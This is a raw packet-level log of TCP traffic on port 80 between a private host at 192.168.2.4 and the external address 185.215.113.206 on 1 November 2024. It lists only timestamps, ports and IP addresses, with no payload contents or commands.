Nov 1, 2024 05:52:33.431613922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431626081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431632042 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431662083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431709051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431720972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431730986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431749105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431756020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431772947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431780100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431787014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431797981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431798935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431807995 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431811094 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431822062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431837082 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431848049 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431852102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431869984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431893110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431895018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431901932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431904078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431916952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431927919 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431937933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431943893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431947947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431950092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431967020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431978941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431979895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.431984901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.431992054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432003975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432003975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432022095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432024956 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432024956 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432035923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432051897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432085037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432085037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432089090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432113886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432125092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432133913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432147026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432154894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432179928 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432220936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432230949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432240963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432252884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432264090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432277918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432277918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432302952 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432635069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432646036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432655096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.432681084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.432706118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.476246119 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.476258993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.476269960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.476320982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.476331949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.476332903 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.476344109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.476356030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.476372004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.476396084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553303957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553324938 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553333998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553345919 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553356886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553368092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553379059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553417921 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553463936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553466082 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553478956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553500891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553512096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553518057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553519011 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553529024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553541899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553551912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553560972 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553571939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553577900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553590059 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553592920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553613901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553620100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553631067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553644896 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553658962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553670883 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553688049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553689957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553710938 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553719997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553724051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553740025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553744078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553754091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553759098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553759098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553777933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553785086 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553797007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553807974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553811073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553818941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553824902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553848028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553850889 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553858995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553879976 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553884029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553894043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553903103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553917885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553920984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553931952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553944111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553953886 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553953886 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553961039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553962946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553972960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553983927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.553986073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553992987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.553997040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554011106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554023981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554042101 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554047108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554055929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554065943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554078102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554088116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554096937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554109097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554119110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554131031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554136992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554140091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554160118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554162025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554173946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554183006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554186106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554193974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554204941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554222107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554222107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554228067 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554240942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554254055 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554255009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554276943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554277897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554286957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554297924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554306030 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554325104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554332972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554342985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554344893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554367065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554372072 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554380894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554393053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554411888 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554420948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554483891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554497004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554521084 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554529905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554538012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554549932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554558992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554568052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554573059 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554579973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554591894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554595947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554608107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554614067 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554620981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554630995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554636955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554641008 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554651976 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554672003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554682970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554686069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554708958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554716110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554722071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554737091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554759026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554771900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554795027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554815054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554830074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554877996 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554946899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.554975986 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.554994106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555000067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555022955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555035114 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555044889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555068970 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555089951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555107117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555118084 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555135012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555146933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555156946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555157900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555169106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555181980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555192947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555202961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555205107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555222034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555228949 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555243015 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555253029 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555254936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555278063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555289030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555290937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555294991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555304050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555325985 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555346966 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555349112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555361032 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555372953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555394888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555397987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555418968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555423021 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555430889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555442095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555449963 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555454016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555466890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555469990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555489063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555497885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555504084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555521965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555535078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555535078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555547953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555556059 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555560112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555563927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555569887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555589914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555619955 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555619955 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555766106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555813074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555864096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.555907965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555918932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555928946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.555967093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.556966066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.599483013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.599493027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.599503040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.599513054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.599524975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.599534988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.599561930 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.599587917 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.641529083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.641546011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.641560078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.641608000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676464081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676475048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676481009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676491976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676501989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676521063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676547050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676569939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676575899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676609039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676630974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676646948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676656961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676680088 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676691055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676700115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676736116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676762104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676772118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676793098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676793098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676793098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676795006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676803112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676806927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676824093 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676830053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676836014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676853895 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676861048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676872969 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676872969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676889896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676901102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676902056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676914930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676923990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676927090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676947117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676950932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676970959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.676974058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676985025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.676995039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677000999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677006960 CET	80	49760	185.215.113.206	192.168.2.4
